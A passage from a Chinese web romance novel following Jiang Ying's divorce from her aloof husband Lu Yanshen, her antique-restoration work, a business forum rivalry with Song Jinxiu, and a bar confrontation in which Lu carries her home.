江莹上车,靠车窗坐着,气呼呼瞪着靠坐着的男人。
城市的霓虹在他脸上投下明暗交错的光影。
不管是剑眉星目,鼻梁高挺,还是刚毅的下颌线与性感的薄唇,这张脸完全就长在她的审美点上,即便现在看,依旧觉得俊朗不凡。
“这么直勾勾看着我,想勾引我?”
狗男人果然不配张嘴,一开口,就把仇恨拉满。
冷淡的声音,让江莹咬牙切齿。
“你是不是有病,以你这样的身份被人打到派出所很光荣吗?”
闻言,转头看向她,“你的意思我就应该被他打?”
江莹冷笑,“不是应该,是活该。”
陆砚深盯着她素净清丽的小脸,没有任何妆容,看上去好似跟以前没什么区别,但这两天陆砚深知道,她跟之前已经不一样。
之前的江莹事事顺着他,现在的江莹像个小野猫,处处跟他掐。
“我活该,他是不是也活该。”
他懒散地靠在椅背上,嗓音淡淡,“所以有什么好生气的。”
江莹睨了他一眼,懒得跟他掰扯。
让江墨在里面呆一晚也好,磨磨他的性子,省得什么人他都敢招惹。
今天是陆砚深,不是一个心狠手辣,睚眦必报的人,若是换了别人,真要告他,他也躲不过。
陆砚深看她不说话,闭上双眼,这段时间没有睡过一个好觉,说不困是假。
但一回到家里空落落的,一个人睡一张床,从来没觉得自己的床那么大过。
之前有一次,他没控制住,做得有点过头,抱着江莹还从床上掉了下去。
那时,他觉得床太小来着。
江莹看今晚是不得不会湖心公馆,心里不爽道:“肾源的事,到底什么情况?”
陆砚深凤眸半眯,嘴角几不可查地勾了勾,“什么肾源?”
江莹一愣,像是很难相信陆砚深会不认账,她咬牙道:“你说我陪你去吃饭,你就告诉我肾源的事。”
陆砚深皱眉,“我是这么说的吗?”
第27章 狗东西不讲武德
江莹瞪着眼看他,“陆砚深,你要不要脸?”
“我只是说我有肾源的消息,没说别的吧?”
江莹本来想着干坐着也是坐,不如问问情况,没想到这狗东西竟然这么说。
他若是没有肾源的消息,那今天不是白去被陆君和陆宁数落。
亏她之前还坚信他是个有良心的人,不会不顾舅妈的性命。
结论下早了,这人阴损,五行缺德。
但事到如今,硬的不行,只能来软的。主打一个不能吃亏,以后绝不迁就他。
“陆砚深,我舅妈情况很不乐观,她现在就等肾源,你若是真有这方面的消息,还请你行行好告诉我。我妈和舅舅出事后,对我好的人不多,更何况从小到大舅妈对我都很好。”
江莹小脸哭丧着,红唇紧抿,好像下一秒就会哭出来。
陆砚深看她一眼,剑眉轻蹙,似乎态度好了一点,“是听到点消息。”
江莹刚要松口气,又听他淡淡说道:“不过我们都要离婚了,我似乎没有理由多管闲事。”
狗男人,这不摆明了吊她胃口。
江莹咬唇,眉眼弯了起来,“怎么能是多管闲事,这不是还没有离吗?再说了,我没跟你吵,也没跟你闹,还大度地成全你们,我这么知情知趣,不管出于哪方面,你是不是都……应该帮我一把。”
江莹实际想说他应该补偿她,但怕狗男人心眼太小听了不高兴,临时转弯。
“是没吵没闹,”陆砚深转眸睨着她,“但昨天不是差点把我扫地出门。”
“怎么能是扫地出门呢,那是我的房子,我把你的东西收拾得整整齐齐送到了云水涧,一件都没有扔出去。我卖包儿,都没有卖一个手表,和平分手。”
“你卖包儿?”
“太多了,用不完,为其他女同胞省点钱,算是积德了。”江莹说得慷慨。
“间歇性眼瞎心盲症,且伴有深度情感障碍,扶贫式婚姻。”陆砚深挑眉,“这么大的怨气,能是和平分手?”
江莹被气笑了,这狗东西是看了离婚协议的。
为了肾源,她斟酌用词,“陆总,我这么写可是为了你好。你想想,我若是说你婚内出轨,在外面养小三,那你给我的可不止三个亿,怕是三十、三百亿。”
陆砚深勾唇,皮笑肉不笑,“这么说还真得好好感谢你。”
“可不是嘛,真是为了你好,为了弥补你这几年的委屈,毕竟当初是我们家逼婚,让你和她被迫分开。我是个老实人,做人讲良心,成全你们,还不用分你一半的财产。”
江莹说得情真意切,却听得陆砚深脑瓜子突突直跳。
“闭嘴,再胡说八道,什么消息都没有。”
给她一个眼神,陆砚深合上眼,多少天没睡一个好觉,偏偏这女人不省心。
看他没有一丝要说的意思,江莹瞬间收起伏低做小的姿态,抬手在他腰间拧了一把。
“狗东西,不讲武德。”
“嘶,江莹……”
回到家,江莹脱了外套直接进卧室睡觉。
还不忘反锁了房门。
陆砚深晚了一步上来,就被关在了门外。
“江莹,开门!”
“陆总,房子过户还没完成,你是借住,不要想着跟主人争床,反正之前你一不高兴就会去客房睡。”
陆砚深舌尖抵着腮帮子,冷笑,“算你狠。”
……
次日一早,王嫂看到江莹下楼,眉眼含笑。
“太太,你回来了。”
“王嫂早。”
“早,这两天你不在家,先生都没怎么吃饭,昨天还想喝粥来着,就是我做不出那个味儿,他也不愿喝。这两天我瞧着先生都瘦了。”
江莹心里莫名一紧,这次出差回来,陆砚深确实很憔悴,他嘴刁在外面吃不惯,加上来回奔波,身体怎么吃得消。
“太太,夫妻过日子就是床头吵架床尾和,汤勺哪有不碰锅沿儿的。”
明白王嫂的用意之后,江莹抿唇,一个心里没有她的丈夫,她心疼有什么用?
狗男人为了他的青梅和孩子累死累活关我什么事?
“王嫂,以后他吃不吃是他的事,你也不用跟我说。”
王嫂愣了一瞬,这是还没有和好?
太太这次生气有点久,气性也比以往大。
“太太,冰箱里的药,要不要给你热一下?”
“不用都扔了吧。”
江莹说完拿着包出门。
陆砚深下楼,看王婶在打扫卫生吩咐道:“昨晚回来的晚,别去叫她。”
王嫂愣了一瞬,明白陆砚深什么意思后纠结着开口,“太太一早就出去了。”
陆砚深瞬间拧眉,就这么不想在家里待着?
看到垃圾桶旁边的袋子,眼角跳跳,“这是怎么回事?”
他提回来放冰箱的,怎么就扔地上了?
王嫂诧异,先生什么时候管这种事了,心里这么想,嘴上还是快速回复:“太太让扔了。”
陆砚深:……
江莹到派出所时,江墨正趴在桌子上睡觉,还好值班的警察给他拿了一件大衣披在身上。
办好手续,江莹踢了他一脚,“醒醒,走了。”
江墨猛然被人踹醒,一个激灵。
揉着眼看到江莹站了起来,“姐,那个王八蛋有没有欺负你?”
“没有,带你去吃早饭,吃完饭该干嘛干嘛去。”
“姐,昨晚他抱着一个孩子,三岁左右的样子,那孩子真是他跟那个女人的?”
姐弟俩边走边说。
江墨虽然在学校,但对于陆砚深对江莹的态度也不是一无所知。就冲他从不叫张启明“爸”,而叫“张总”,就可以看出,他心底并不看重江莹。
哪个丈夫会对自己妻子的父亲这么称呼?
“不知道,没问。”
“这么大的事,你怎么能不问呢?”江墨气得不行,“他都有私生子了,你还能装作没事人吗?”
“那孩子叫他爸,你让我怎么问,自取其辱吗?”
江莹不耐烦,“管好你自己的事,你知不知道,若是留下案底,你毕业就是失业?”
“我失业也要揍他,渣男。”
“江墨,胳膊拧不过大腿的时候,要想办法让自己变强,而不是一味地使蛮力。我的事你不用担心,已经在考虑给你换个姐夫。”
看江莹笃定的语气不像作假,江墨又担心她,毕竟他看得出,他姐是喜欢那个渣男的。
“没赌气?”
“我赌什么气,房子和这些年他送我的礼物卖了一大笔钱,够你妈和我妈的医药费。没有后顾之忧,咱俩可以按照自己的意愿好好生活。”
江莹说得轻松,江墨听着却不轻松。
“姐,这几年辛苦你了,我马上就毕业了,可以帮你一起撑起这个家,我在找公司实习,以后一定可以帮你分担。”
江莹鼻子有点酸,强压着情绪弯唇一笑,“臭小子,知道给你姐撑腰了。以后打不过的就不要招惹,韬光养晦。”
“吃一堑长一智,再说了你都要给我换姐夫了,我还管他?”
江墨说着睨了一眼江莹,“姐,你觉得宋哥怎么样?他说我可以去他公司实习,随时去都行。”
江莹沉默了。
第28章 非遗工匠特等奖
江墨最近一直在联系实习的事。因为是学金融的,按说宋瑾修的荣盛资本很合适。
他们专业的同学多少想进都进不去,但他在接到宋瑾修消息时犹豫了。
三年前,宋瑾修对江莹的好,明眼人都看得出来,虽然两人没有捅破那层窗户纸,但他知道宋哥喜欢她姐。
江莹愣了一瞬后,坦然道:“你跟着他能学到不少东西,我不反对,但其他的别胡说。他是我师哥,有些事错过了那个时机,就变了味儿。”
江莹说的是心里话,之前她就把宋瑾修当哥,当初没有走到一起,现在就不该再旧事重提。
而且,她也没有离婚就投入新恋情的打算。
先搞事业要紧,她和陆砚深的婚姻就是掺杂太多,才会在婚姻里卑微。
一段良性的关系一定是不依附于任何人,不管是婚姻,还是友谊。
江墨也不劝,点头道:“明白,我跟着宋哥好好学。”
两人说着走进一家早餐店。
江莹这两天任务重,宋代的工艺,她虽然了解,但好久没有做,担心自己手生做不好。
万一耽误了事,岂不是砸了老师的招牌。
八点半准时到古坊斋。
钟宏已经在等她,看到她眉开眼笑,“还算准时。”
江莹将手里的云吞递给他,“李记得,若不是排队我会更早。”
“算你懂事,我想这口好久了,你师娘一直限制我在外面吃,但她做的根本不是这个味儿。”
江莹挽起头发,穿上工作服,笑道:“您这是生在福中不知福。”
闻言,钟宏若有所思地点点头,“算是吧,一路吵吵闹闹过来的。她若是心胸再开阔点了或许我们俩能少吵很多架。”
江莹知道师娘不喜欢师哥,因为师哥的事两口子没少吵架。
随着这几年师哥事业有成,他们老两口才不怎么吵。
江莹一直很好奇师娘为什么不喜欢师哥,其实师哥在他们家也没住多久,而且也都是寒暑假才去。
平时师哥都住学校,学费也是自己打工挣钱,没花过钟老师的钱。
而且,师娘虽然在家有些强势,但并不是一个尖酸刻薄的人,每次她去师娘都会做她爱吃。
话题说到这里,江莹笑眯眯问:“老师,师娘为什么总因为师哥跟你生气?”
钟宏打开江莹带来的云吞,刚准备吃,听到她这么问,拿着勺子的手顿住。
江莹看他原本轻快的神色染上一抹哀伤,知道这里面怕是有故事。
师哥叫他舅舅,应该是师哥的母亲跟老师相熟。
但师哥说过他很小父母就去世了,没有家人,那师娘到底生什么气?
钟宏沉默一瞬后,长叹一口气,“陈年旧事了,不提也罢。你师哥是个苦命的孩子,但他能吃苦,脑子也聪明,是个有出息的好孩子。”
见老师不愿提,江莹也没有追问,开始厌投入到妆奁的修复中。
昨天下午她研究了很久,对她来说不是难事。
她喜欢这些老物件,每一件都是岁月和历史的见证者。
上学那会儿梁玥都想不通,她为什么选择这么冷门的专业。
但母亲支持她做自己喜欢的事,家里不指望她挣钱,也不指望她继承家业,女孩子做自己喜欢的事就好。
刚好她身上的气质偏沉静,跟她现在所做的事特别匹配。
钟宏坐在一边吃云吞,一边看自己的爱徒。
这丫头天生就是吃这碗饭的,不光沉得住气,而且手特别稳。
钟宏之前不敢让她上手,也是看了她自己做的那些个古风摆件才知道这丫头能行。
江莹那时候缺钱,所以什么活儿都做,就跟今天的凌澈一样。
当初是出于对老师的感谢,把自己做的逍遥楼模型送给了钟宏。
钟宏当初说她做的四不像,因为跟史上记载的不一样。
但也正是那个摆件,让他看到了江莹的天赋。
前年她做的逍遥楼模型参加非遗工匠赛拿了特等奖。
这丫头没告诉他,但他知道那个“山风”就是她,用的技艺就是他之前告诉她的。
只不过,当初他只是按照文献记载跟她描述了一遍,她却自己真的做了出来。
一套失传的古建筑方法,她却通过寥寥几笔文字描述做了出来,当时钟宏震惊不已。
但考虑到她不说,就是没想公开,钟宏一直替她隐瞒。
要知道,这两年多少人都在找山风,但这丫头似乎参加完比赛就再也没有关注圈里的消息。
钟宏吃着云吞,看着自己最得意的爱徒,嘴角翘得老高。
江莹一投入工作,就忘了外界的事,一直忙到中午。
宋瑾修提着食盒过来时,她都没有发现。
钟宏笑眯眯道:“这丫头是来过瘾的。”
“舅舅,你不能得了便宜还卖乖,要不是莹莹帮你,你能不能按时交货难说。”宋瑾修打趣他。
“臭小子,我没说你,你倒说起我来了。莹莹不来,也没见你大老远给我送饭。”
宋瑾修抿唇,“我等会儿要去参加一个商业论坛,会场离这里不远,顺路。”
钟宏含笑摇头,“嗯,顺路,你说我就信。”
臭小子那点心思三年前他就知道,但他也看得出来,那丫头对他似乎欠把火候。
宋瑾修不跟他掰扯是不是顺路,直接去叫江莹,“莹莹,吃饭了。”
江莹低着头忙活一上午,听到宋瑾修的声音,抬头才感觉自己的脖子都是酸的。
她放下手中的工具,按着脖子往会客区走。
“师哥,你怎么来了?”
“下午在附近参加一个活动,顺路给你和舅舅带了饭。”
江莹眉眼弯起,“谢谢师哥,刚好我饿了。”
“知道你喜欢吃辣,给你点了辣子鸡,去尝尝。”
“哇,太好了,我可以炫两碗饭。”
“吃那么多都不长膘,谁家养你,过年估计得赔钱。”
江莹白了一眼自己老师,嘴里塞得鼓鼓的。
宋瑾修笑笑,“谁家吃饭还想着赚钱?”
钟宏哈哈直笑。
江莹咽下嘴里的饭,终于有机会开口,“为人师表,把自己徒弟比喻成年猪,合适吗?”
宋瑾修这会儿反应过来,跟着笑了起来。
“臭丫头,倒是不笨。”
钟宏笑罢坐在一旁,看着两人,心里还有点惋惜。
多好的一对,可惜郎有情,妾无意。
跟当年他的境遇很像。
这臭小子比他有福,因为他心里的姑娘要离婚了,而自己当年等到的是一具冰冷的尸体。
……
年底了,陆砚深很忙,一上午都没有出办公室。
这会儿也是杜宇点餐送上来的。
他把签好的文件推到桌前,“这些项目,你注意安排专人跟进,注意别让我三叔那边的人插手。”
“好的。”杜宇答应着,又问:“陆总,今天下午的金融论坛,您之前说考虑一下,迟迟没有给明确的消息,主办方刚刚还打电话问,您看……还要去吗?”
杜宇不说他还真忘了这事,“都有哪些公司参加?”
杜宇看了一下主办方给他发的企业名单,开始一一介绍。
听到“荣盛资本”这个名字,陆砚深脑子里闪现出宋瑾修的脸。
这些年,江莹身边几乎没有异性,她跟宋瑾修在一起时的松弛,是他从未见过的。
“告诉主办方,我按时到场。”
第29章 宋瑾修当众承认是情妹妹
下午,陆砚深到达会场时,主办方严阵以待。
没想到迟迟没有回复的人,却在最后竟然同意来了。
走进会场,有所应邀而来的企业领导,都已经就位,唯一C位有空缺。
陆砚深迈着大长腿进入,从容落座。
经过宋瑾修时,眼睛余光刻意扫了他一眼,正好跟他的视线撞上。
宋瑾修微微颔首,陆砚深面无表情,直接走过。
宋瑾修毕竟才在圈子里崭露头角,做的位置稍稍靠边,跟陆砚深隔了四个人,刚好算是斜对面坐着。
此次论坛主要讨论江北商业发展趋势,涉及传统行业转型。
陆砚深是传统行业转型带头人,他带领陆氏从房地产成功进入高精尖行业,所以注定了他是焦点。
他应邀介绍陆氏从房地产成功转型高精尖的经验。
这几年,陆氏在他的带领下,从传统房地产行业,一步步进入医疗、新型材料、新能源、甚至军工行业。
宋瑾修听着陆砚深侃侃而谈,唇角带着笑,右手却不停摩挲着左手的珠串,红绳已经发白,显然是戴了很久。
一串并不起眼的菩提珠,被他盘玩得油润光亮,在灯光的照射下,折射出莹莹的光。
下午五点,论坛主题内容结束。
“接下来是自由提问环节。”女主持人笑意盈盈,语气轻松地补充道:“公事私事都能问哦。”
她声音落下,台下一个记者快速举手,引得女主持人笑道:“看来我们记者朋友已经急不可耐了,难得今天行业大佬齐聚一堂。”
记者被示意可以提问后,站了起来,“陆总,上周陆氏突然将蓝湾项目让给秦氏,是否意味着两家要结秦晋之好?”
记者的话一出口,所有人都屏住了呼吸,这个瓜大家吃了很久都没有熟。而且这两天还有人传出,陆总已婚的消息。
这个问题无疑戳中太多人的心思,会场鸦雀无声,所有人的目光都凝聚在陆砚深身上。
这位大佬到底是不是已婚,秦家有没有希望搭上陆家,静待答案。
陆砚深沉默一瞬,勾唇笑道:“秦家跟晋家是不是关系很好我不太清楚,但陆家和秦家算是故交。”
主持人在一旁听得一怔,随即笑道:“陆总好幽默。”
众人失落,这回答……
台下记者也不傻,陆砚深模棱两可的回答已经摆明他不想正面回答,在江北谁敢强迫他回答不想说的事。
记者贩败兴地摇头,又不得不佩服这个男人的情商。
宋瑾修垂眸嘴角挂着一抹玩味的笑,手上盘玩转动着自己的手串。
这时一个女记者,清亮的嗓音打破了他的沉默。
“宋总,您作为行业新贵,这两年备受大家关注,私下很女生都说您温润如玉,是人间理想。我看您一直不停摩挲手上的珠串,不知道是不是心人所送?”
听到这话,陆砚深抬眸看了过去。果然,一串墨兰色的珠子戴在他左手上,莹润有光泽。
宋瑾修轻舔了下唇,缓缓开口,“这个是我师妹第一次拿刻刀给我做的,我很喜欢。”
“师妹,也是做金融的吗?”
相对于陆砚深的模棱两可,宋瑾修坦然相告,“不是,她是学古建筑设计和修复的,平时很喜欢动手,建筑模型,手工艺品做得都很好。”
宋瑾修嘴角上扬,毫不掩饰的赞赏和夸奖瞬间让女记者意识到什么。
“看来,宋总口中的师妹,怕是情妹妹,这下不知道有多少女生要伤心了。”
陆砚深脸色渐沉,当着他的面这么说,什么意思?
宋瑾修垂眸含笑,不解释,等于默认。
视线撞上陆砚深,微微颔首,笑容依旧和煦。
像是没有看到陆砚深眼里那浓得化不开的寒意。
身边的人笑着打趣,“没想到宋总还挺痴情,这珠子戴了很多年吧?”
宋瑾修点头:“五年了。”
陆砚深双腿交叠,垂眸发消息:你舅妈必须换肾吗?
江莹脖子有点酸,正揉颈椎,看到这人冷不丁发的消息,虽然觉得奇怪,但想到他说有肾源,赶紧回了过去:医生说药物已经控制不住,换肾是唯一的希望。
这是另一个记者站了起来,“陆总,您对未来一年,江北的经济形势持什么观点?”
看陆砚深拿着手机不说话,主持人悄悄提醒,“陆总……”
“不好意思,稍等一下。”
主持人笑着问:“什么消息这么重要必须在台上回?是不是陆氏又有百亿大订单?”
陆砚深慢条斯理道:“家里的粘人精,问我什么时候到家,说今晚有我最爱吃的菜。”
宋瑾修的手蓦地紧握成拳,江莹离婚的决心是否坚定?
相比宋瑾修不着痕迹的深情语气,陆砚深语调看似稀松平常,却透着刻意炫耀。
然而就是他这种态度,让人瞬间好奇,这种日常感让大家真切地窥探到了什么。
陆砚深,站在江北金字塔尖的人,更是商界的传奇人物。
大学期间就开始参与家族事业,毕业即公司副总,凭借卓绝的能力和超前的判断带领陆氏成功转型。
完美碾压自己的两个叔叔,执掌陆氏集团。
接触过的人都说他杀伐果决,不近女色,却不想也金屋藏娇。
现场陷入一阵安静。
主持人错愕之后,笑眯眯追问,“陆总,这是好事将近?”
陆砚深勾唇,“不好意思跑题了,我现在回答刚才的问题。”
主持人了然,大佬可以自爆,但不可以追问,讪讪笑道:“由请陆总说一下自己的观点。”
一直到整场论谈结束,陆砚深都没有再看宋瑾修一眼。
走出会场,在门口陆砚深跟宋瑾修擦肩而过。
他迈着大长腿,闲庭信步,时目不斜视。
宋瑾修也仿若没有看他,并没有像其他人一样点头哈腰,跟着吹捧。
……
江莹处理完一道裂缝,天色已经黯淡。
钟宏从学校回来,看她还没有走,开始催促:“一天又干不完,不用赶这么急。”
“正准备收拾东西呢,没有工钱我可不会傻呵呵加班。”
江莹笑盈盈地整理东西。
“看你累了一天,今天我破费一下请你吃大餐。”
江莹看着自己老师那幸福样儿就知道,他怕是自己想到外面吃,拿她当挡箭牌呢。
“算了,我可不乐意跟您一块儿吃。您自己身体什么样不清楚?”
老师的身体出问题之后,吃东西一直按照医生要求,对盐的要求特别严格。
早上已经让他破例,怎么能晚上还让他造。
“师娘等着你回家呢,赶紧回去吧,我跟梁玥约好了。”
钟宏失落地叹了口气,“年轻真好。”
江莹逗他,“羡慕也没用,过了那个村,就别惦记了。”
想到今天梁玥说她卡文了想去迷度玩儿,放空一下脑子,江莹自然而然想到凌澈。
她微蹙着眉,有些没底的问:“老师,您说我若是把古代的设计理念,融入到现在的饰品、家具、礼品等领域,会不会有出路?”
钟宏还在羡慕小姑娘年轻,没想到小姑娘给他来个一百八十度大转弯。
“你这个丫头,话题这么跳跃,让我一个即将退休的人怎么跟得上?”
“那我给您五分钟让您想,我收拾好东西,您给我说您的看法。”
“怎么还跟强盗一样?”
江莹抿唇笑笑,动作利索地收拾工作台和工具。
钟宏思考了一瞬,甚至连一分钟的都没有,就开口,“我觉得你的想法可行,不但能传承文化,还能自成流派,把中国文化融入更广阔的领域,推向世界。”
听得江莹一愣,小脸五官拧在一起,这小老头儿真敢说,她做梦都不敢这么做。
第30章 姿势变了
钟宏看出她不信,睨了她一眼,“出息,你们年轻人有头脑,而你又有手艺,互联网这么发达,只要产品够优,就没有不成功的道理。”
听着老师的话,江莹觉得自己跟老师相比不但格局小了,而且热情也远不及他。
“您说的我考虑一下,一旦我确定要做,就朝着您说的方向去努力,让中国文化发扬光大,走出国门,走向世界。”
“这才对,年轻人,就应该敢想敢干,别的不敢说你要真干不下去了,我给你留碗饭。”钟宏笑眯眯逗她,“我退休工资还是能养你一日三餐的。”
虽说是玩笑话,但一个没有血缘关系的老师,能说出养她一日三餐,这已经比张启明强。
都说血浓于水,她却从未在张启明身上感受到父爱,反而在自己老师这里得到了满满的偏爱。
“说话算数啊,真要有那么一天您可不能耍赖。”
“切,我什么时候耍过赖,小看谁呢?”钟宏给她一个小眼神,“对了,逍遥楼的复原工作不出意外年后正式启动,你刚好闲下来,把设计图准备一下。”
江莹隐隐兴奋,“放心,图纸我有,需要您最终把关。”
钟宏知道她是“山风”,对此并不惊讶,只是笑着点头。
离开古坊斋到迷度已经将近八点。
她今天心情很好,沉浸在自己喜欢的事情,整个人特别充实。
尤其是刚刚跟老师的谈话,更是激发了她的热情,让她觉得自己琢磨了几天的事,确实可行。
梁玥看她给她一个大白眼儿,“你自己偷偷见了师哥,还去了古坊斋也不跟我说一声。”
“这个真是意外,不都跟你说了吗。”
“谁知道是不是真的意外?”
江莹有口难辩,笑眯眯捏了捏她的脸,“好宝儿,别生气了,姐姐请你喝酒,叫凌澈过来。”
说是请她喝酒,其实是想找凌澈跟他说说自己的想法,若是他感兴趣,可以一起做。
……
湖心公馆,陆砚深到家已经将近九点。
看到黑灯瞎火的房子,心里莫名一空。
他大步看门进屋,看到江莹毛茸茸的拖鞋整齐地放在鞋柜里,心里揪了起来。
这个女人,她又没回来。
正准备打电话,率先有电话进来。
听到电话里的内容,他黑着脸开车出去。
沈斯阳看到楼下江莹跟凌澈聊了将近四十分钟还没有结束,还又找他开了酒,心里隐隐觉得不妙。
让他觉得很有必要通知一下自己好兄弟,若是在这里给他戴了绿帽子,陆砚深一定会把这里给他拆了。
陆砚深到迷度时,沈斯阳正倚在二楼的走廊上翘首以待。
“哎,老陆。”
陆砚深没有搭理他,人虽然往前走,眼睛却一个劲儿到处瞟,目的再明显不过。
“哪儿呢?”沈斯阳拉着他抬手指给他看,“聊个把小时了,我这里的服务生成了她专用的。”
“哎,其实这几天我看到你老婆,那个感受就跟女生来大姨妈一样,她来也难受,不来也难受。”
陆砚深转头瞪着他。
虽然他没说话,但沈斯阳知道他在骂他这是什么狗屁比喻。
“我给你解释一下,你想想你老婆来了我的营业额蹭蹭涨,不来我能不惦记吗?”
“你看女人来大姨妈,来了她痛经,长痘,不舒服。不来吧,她又担心自己有病。”
陆砚深皱眉,“闭嘴。”
江莹余光扫见楼道上站着的两个大男人,知道陆砚深再看她,于是故意贴近凌澈。
水晶灯在玻璃幕墙上折射出暧昧的光斑。
“师弟,帮个忙,学一下你们这里的弟弟怎么哄姐姐高兴的,演一下。”
凌澈秒懂,扯唇笑了起来。
男生长得秀气,笑起来两道双括弧,干净爽朗。
学着酒吧里的弟弟开口,“姐姐,我今年二十一,刚大四,热爱健身,兴趣广泛。”
男生将盛着琥铂色液体的玻璃杯推到女生面前,指尖擦过她蕾丝袖口。
“姐姐想听歌,还是想看腹肌秀,我都可以。”
凌澈有些腼腆,但眼尾带着撩人的弧度。
举手投足间,轻轻柔柔。
江莹看着他抿唇,指尖顺着他的下巴沿着下颌线一点点往上。
“是吗?”她红唇轻启,“现在的弟弟都像你这样长得好看,还多才多艺?”
男生端起酒杯缓缓往乔以安嘴边送,眼神迷离,笑容清浅。
“别人我不知道,但我的话,姐姐若是不信可以检验一下。”
江莹视线顺着他的下巴一路往下,手指由上移改为下滑。
顺着他的下巴到喉结,再到腹肌。
“确实应该检验一下,看看弟弟是不是诚实。”
她说着指尖在男生的腹肌上点了点,红唇轻抿,“确实不错。”
沈斯阳倒抽一口凉气,“我去,江莹这么会玩儿?老陆,我终于知道你为什么不喜欢她还舍不得离婚了。”
陆砚深抬手给了他一拳,抬步朝着江莹走了过去。
“江莹,你长本事了。”
江莹一把甩开他,“你谁呀,没看到我跟弟弟正玩儿呢。”
梁玥从卫生间回来,兴奋道:“宝儿,师哥好帅,比你那个冷脸面瘫老公有温度多了。你看他手上还带着你给他做的那串菩提手串。”
她边看边赞叹,完全没有注意到一旁站着两个男人,一个就是她口中的冷脸面瘫。
沈斯阳憋着笑,抬脚踢了一下只看手机不看路的女人。
“哎,冷脸面瘫在这儿呢。”
男人一开口,梁玥瞬间抬头,看到面前的人,发出了一个很不文明,但出口率极高的国民用语——卧槽。
陆砚深见过梁玥,江莹唯一的死党,一生气就跟她这个闺蜜在一起,甚至还住在她那里。
“回家。”
陆砚深睨了梁玥一眼,弯腰直接把江莹直接扛了起来。
“你放开她,她不想跟你走。”
凌澈看到江莹被男人用强,直接挡在了陆砚深面前。
“她不跟我走,难道要跟你走?”
陆砚深一把将人推开。
梁玥反应过来,“陆砚深,你放开莹莹,你凭什么这么对她。”
一男一女,将陆砚深围住。
江莹怕都男人报复他们,毕竟狗东西随便说句话对梁玥和凌澈都是灾难。
“我不会有事。”
她被陆砚深扛在肩上,仰头很难受地给梁玥比了个OK的手势,然后转头看向凌澈,“弟弟,跟你说的事,你好好想想,明天我们再聊。”
陆砚深听到她说明天还要聊,心一里更窝火,脸上黑得能滴水。抬手拿起她的包,将凌澈撞到一边直接走人。
江莹已经顾不上脸面,双手在他背上疯狂捶打。
“陆砚深,你要不要脸,放我下来。”
“王八蛋,我要吐了。”
随着男人走动的节奏,江莹的胃有一下没一下往上顶,头晕想吐,倒挂着真的很难受。
沈斯阳双插兜看戏的神色有些僵,这狗东西似乎对江莹跟对秦欣不一样。
原以为他把秦欣看得挺重,为了帮她,项目说给就给,那可是真金白银,眼睛都不眨,说送就送。
但却从未见过他跟秦砍有亲密行为,更没见过他因为秦欣情绪失控过。
现在很明显,这货情绪很不爽!
沈斯阳此刻觉得自己有些看不懂陆砚深了,难道是日久生情。
真要这样那他真挺渣,脚踏两条船的大渣男。
梁玥看他吊儿郎当的样子没什么好气儿,“看什么看,你这里早晚得黄,不帮顾客解围,还助纣为虐。”
说完,梁玥拎包将人推开,“好狗挡道儿。”
两个姐姐都那么爽,看得凌澈一时间忘了收拾卡座。
“还看,收拾一下去把工资结了,别再来了。”
凌澈愣了一下后,开始收拾卡座,并十分好说话道:“好的沈总,本来我也是想离职的。”
江莹的想法和开出的条件都很诱人,他没有拒绝的理由,根本就不用等明天,他已经下定决心跟师姐干。
有底薪,有提成,还不耽误他上课,到哪儿去找这么好的兼职。
沈斯阳蹙眉,这都是什么人,怎么跟江莹走在一起的都是一个德行?
连他这里的一个小弟都支棱起来了。
出了会所,江莹手脚并用,前面踢陆宴深的腿,后面捶他的背,主打一个闹腾。
陆砚深被她踢到膝盖,一阵吃痛,抬手在她屁股上打了一巴掌,倒是不疼,但侮辱性极强。
从有记忆开始,就没有人打过她屁股,没想到这王八蛋这么变态。
“陆砚深,你放我下来,再不放别怪我吐你身上。”
知道狗东西有洁癖,不可能接受自己吐他身上,江莹还加了点演技。
果然,下一秒她真的被放了下来。
但,又下一秒,姿势变了……
第31章 咬她耳垂
江莹脚刚挨地,跑路的动作都没有发挥出来,下一秒就被陆砚深来了个公主抱。
她盯着男人清晰硬朗的下颌线,愣住了。
当初婚礼上司仪有安排公主抱转圈的环节,结果被他拒绝了。
结婚三年,陆砚深从来没有这么抱过她。
陆砚深微微垂眸,凉凉地看了她一眼,“不是说老腊肉比不上小鲜肉,这副表情看着我,想干什么?”
江莹心虚,狗男人颜值高,是要离婚,并不是她审美出了问题,赏心悦目的东西还要多看两眼,何况是男人?
“看看怎么了,你会少块儿肉?”
说完转头在他肩膀上咬了下去。
“嘶……”
陆砚深又是一阵吃痛,脚步停住。
“江莹,最近我是太纵容你了。”
看到女人粉嫩耳朵,低头含住她的耳垂。
突如其来的酥麻感,让江莹狠狠咬在他肩膀上的嘴,瞬间松开。
整个人心口一窒,甚至忘了反抗。
寒风中,来往的人行色匆匆,看到路边这一幕脚步放缓了几分。
陆砚深本来就是为了报复她,想让她松口,所以动作带了惩罚的意味。
他牙齿在江莹耳垂上厮磨,碾转,有微微痛感,还伴随着温热的酥麻感,让江莹很没出息地战栗,不由自主往他怀里缩了一下。
女人不觉间的反应,让陆砚深很满意地扯唇,随即松开她的耳垂,抱着她走向停在路边的车。
江莹被放进车的那一瞬,清醒过来,抗拒地推搡陆砚深。
“你到底想干什么?”
“回家。”陆砚深眼神复杂的打量着她,嗓音微微泛起沙意。
“爷爷奶奶已经知道你这几天没有在湖心公馆,别再惹麻烦?”
陆爷爷还好,对她还算不错,回维护她。
但犯了错,陆奶奶就不一样了,本来对张家的逼婚就不满,加上江莹结婚三年没有怀孕,对她的厌恶并不比陆君少。
一回到老宅,轻则一顿说教,重则罚她跪过祠堂。
“你,我都不要了,还会怕你奶奶,我见都不见她。”
这话她说的很有气势,其实掩饰自己失序的心跳。
陆砚深盯着她没有说话,眸色深沉了几分。
江莹的手腕依旧被他禁锢,显然是怕她再溜走。
车子开出去好远,江莹仍觉喉咙微微发干,暗骂自己没出息,怎么就一点都经不住诱惑?
安静的车厢里,她感受着自己胸腔里强有力的心跳,一下一下。
当初第一次看到他时,那怦然心动的声音,动摇了她的整个世界。
然而,一厢情愿和两情相悦是截然不同的两种结果。
她不敢说自己已经完全放下陆砚深,但她也知道他们的婚姻里,凭着她的一厢情愿已经走不下去。
这三年,她的一腔热烈,已经在他的冷漠和薄情中逐渐变凉。
更何况他和秦欣还有个孩子!
即便他不会娶秦欣,总不会不管自己的孩子吧?
一个随时会被另一个女人和孩子叫走的老公,她接受不了。
平复了心情,江莹开口,“陆砚深,我知道你有身份有地位,被我甩很不爽。你放心,我们离婚的事,我会说是你不要我了。”
“而且,大家一直都知道你不喜欢我,所以不会有人知道是我提出的离婚,更不会影响你的面子。”
